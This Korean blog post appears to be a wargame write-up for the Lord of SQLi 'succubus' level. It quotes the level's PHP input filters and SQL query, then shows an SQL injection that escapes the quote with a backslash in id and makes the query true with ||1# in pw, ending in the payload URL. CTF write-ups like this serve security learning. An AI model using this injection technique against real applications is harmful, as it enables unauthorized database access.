티스토리 뷰
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/\'/',$_GET[id])) exit("HeHe");
if(preg_match('/\'/',$_GET[pw])) exit("HeHe");
id 와 pw 파라미터 모두 동일한 필터링이 걸려있는 것을 볼 수 있겠습니다. prob, _(언더바), .(온점), ()(괄호), '(작음따옴표) 모두 사용 불가합니다.
(이번에 깨달았는데 이전문제에서 \(\) 라고 되어 있던 것을 저는 (, ) 괄호 두 개 모두 안되는 것으로 착각했었던 것 같은데, 알고보니 () 괄호가 안되는 거였네요.. 헷갈릴 수 있겠습니다)
$query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("succubus");
id 와 pw 파라미터에 값을 입력한 것을 query 문에 전달하고 그 결과 값으로 id 가 존재하는 id 이기만 한다면 경우 문제는 해결된다고 합니다.
이 문제의 핵심은 '(작은따옴표)를 쓰지 않고 query의 where 절을 탈출할 수 있어야 하는 것 같습니다. 따옴표 탈출하기 위해서 흔히 \(백슬래시)를 사용하는데, 안타깝게도 이 문제에서 \(백슬래시)를 필터링하지 않았기 때문에 저희는 필터링을 우회해서 문제를 풀 수 있는 것입니다.
select id from prob_succubus where id='\' and pw='#'
만약 위와 같은 query 문이 있다고 합시다. 그럼 색깔로도 구분이 되겠지만, id 값에 해당하는 부분이 \' and pw=' 까지 입니다. 이 원리를 이용해서 id 값에 \(백슬래시)를 입력하고, pw 값에 query 구문의 결과 값이 True(참) 값이 나오게만 해주면 문제를 풀 수 있습니다.
select id from prob_succubus where id='\' and pw='||1#'
id 에 \(백슬래시)를 넣어주고, pw 에 ||1# 만 넣어주었습니다. ||1 로 참을 만들어주고 뒤에 있는 '(작은따옴표)를 제거해주기 위해 주석(#) 문자를 넣어주었습니다.
?id=\&pw=||1%23
URL은 위와 같이 입력해줘야 합니다. # 는 URL 에서는 Hash Tag 역할을 하기 때문에 %23 으로 URL 인코딩해주는 것을 잊지맙시다.
그러면 아래와 같이 문제를 풀 수 있습니다.
'보안 > Wargame' 카테고리의 다른 글
[Lord of SQLi] nightmare Writeup/문제풀이 (0) | 2021.09.07 |
---|---|
[Lord of SQLi] zombie assassin Writeup/문제풀이 (0) | 2021.09.07 |
[Lord of SQLi] assassin Writeup/문제풀이 (0) | 2021.09.07 |
[Hackthebox] - wafwaf Writeup(문제풀이) (0) | 2021.09.06 |
[Lord of SQLi] giant Writeup/문제풀이 (0) | 2021.09.04 |